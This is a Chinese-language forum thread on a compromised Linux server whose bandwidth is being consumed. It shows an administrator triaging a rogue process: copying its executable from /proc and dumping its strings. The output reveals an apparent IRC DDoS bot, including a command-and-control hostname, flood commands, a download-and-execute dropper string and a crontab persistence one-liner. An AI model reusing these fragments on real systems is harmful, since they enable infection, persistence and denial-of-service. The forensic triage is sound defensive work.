Linux服务器有问题。大量带宽被耗尽。

原帖由 "ayazero" 发表：
cp /proc/399/exe /tmp/399.bak

file 399.bak

strace ./399.bak
strings ./399.bak >; printable

[root@mail root]# cd /proc/4236/
[root@mail 4236]# ll
total 0
-r--r--r-- 1 apache apache       0 Sep 22 08:35 cmdline
-r--r--r-- 1 apache apache       0 Sep 22 08:35 cpu
lrwxrwxrwx 1 apache apache       0 Sep 22 08:35 cwd ->; /
-r-------- 1 apache apache       0 Sep 22 08:35 environ
lrwxrwxrwx 1 apache apache       0 Sep 22 08:35 exe ->; /tmp/upxBL3TRWLAEEL (deleted)
dr-x------ 2 apache apache       0 Sep 22 08:35 fd
-r--r--r-- 1 apache apache       0 Sep 22 08:35 maps
-rw------- 1 apache apache       0 Sep 22 08:35 mem
-r--r--r-- 1 apache apache       0 Sep 22 08:35 mounts
lrwxrwxrwx 1 apache apache       0 Sep 22 08:35 root ->; /
-r--r--r-- 1 apache apache       0 Sep 22 08:35 stat
-r--r--r-- 1 apache apache       0 Sep 22 08:35 statm
-r--r--r-- 1 apache apache       0 Sep 22 08:35 status
[root@mail 4236]# cp exe /tmp/evil.bak
[root@mail 4236]# file /tmp/evil.bak
/tmp/evil.bak: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically linked (uses shared libs), stripped
[root@mail 4236]# whereis strace
strace:
[root@mail 4236]# whereis strings
strings: /usr/bin/strings /usr/include/strings.h /usr/share/man/man1/strings.1.gz
[root@mail 4236]# strings /tmp/evil.bak
/lib/ld-linux.so.2
__gmon_start__
libc.so.6
longjmp
unsetenv
waitpid
recv
connect
memmove
snprintf
getenv
memmem
__strtol_internal
execl
__cxa_finalize
dup2
feof
sleep
vsnprintf
socket
select
strncasecmp
send
chmod
alarm
fprintf
kill
__deregister_frame_info
chdir
strstr
rand
signal
strncmp
unlink
setenv
strcasecmp
sendto
_IO_getc
fork
execlp
inet_aton
memset
srand
inet_ntoa
time
gethostbyname
fgetc
fclose
fwrite
__errno_location
exit
fopen
_setjmp
_IO_stdin_used
__libc_start_main
open
strchr
fcntl
__register_frame_info
close
GLIBC_2.1.3
GLIBC_2.1
GLIBC_2.0
PTRh`
F    H<
uvRj
[^_]
<it6<i
8<st
<uu0
[^_]
_Xj:
t7Rj
[^_]
[^_]
[^_]
[^_]
[^_]
[^_]
Ht=
[^_]
ZYPh
ZYPh
ZYPPPPh
[^_]
XZht
www2.fuck-j00.info
65000
httpd
/usr/bin/ping
NOTICE %s :invalid timeout
NOTICE %s :invalid port #%d
NOTICE %s :invalid ip #%d
NOTICE %s :invalid type #%d
NOTICE %s :too many targets
NOTICE %s :starting...
/tmp/%s
HTTP/1.1 200 OK
HTTP/1.0 200 OK
Content-Length:
Content-length:
content-length:
cront4b
JOIN #crew
MODE %s +iw
NICK %s
pwned.luser
dos
0.25
NOTICE %s :version %s
stop
NOTICE %s :stopped
uninstall
NOTICE %s :what?
PRIVMSG
ERROR
Too many user connections
Too many host connections
PING
PONG%s
PING :*
PASS %s
\%03o
/usr/bin/crontab
/dev/urandom
/dev/null
NOTICE %s :too few parameters
NOTICE %s :invalid target #%d
NOTICE %s :invalid prefix #%d
GET /%s HTTP/1.0
Host: %s
USER %s localhost 0 :*Unknown*
" >; /tmp/%s ; chmod 700 /tmp/%s ; /tmp/%s x ; rm -f /tmp/%s
%d * * * * /bin/echo `crontab -l|grep '.\{666\}'|sed 's/^./echo -e -n/'`|sh
[root@mail 4236]# ldd /tmp/evil.bak
      libc.so.6 =>; /lib/i686/libc.so.6 (0x42000000)
      /lib/ld-linux.so.2 =>; /lib/ld-linux.so.2 (0x40000000)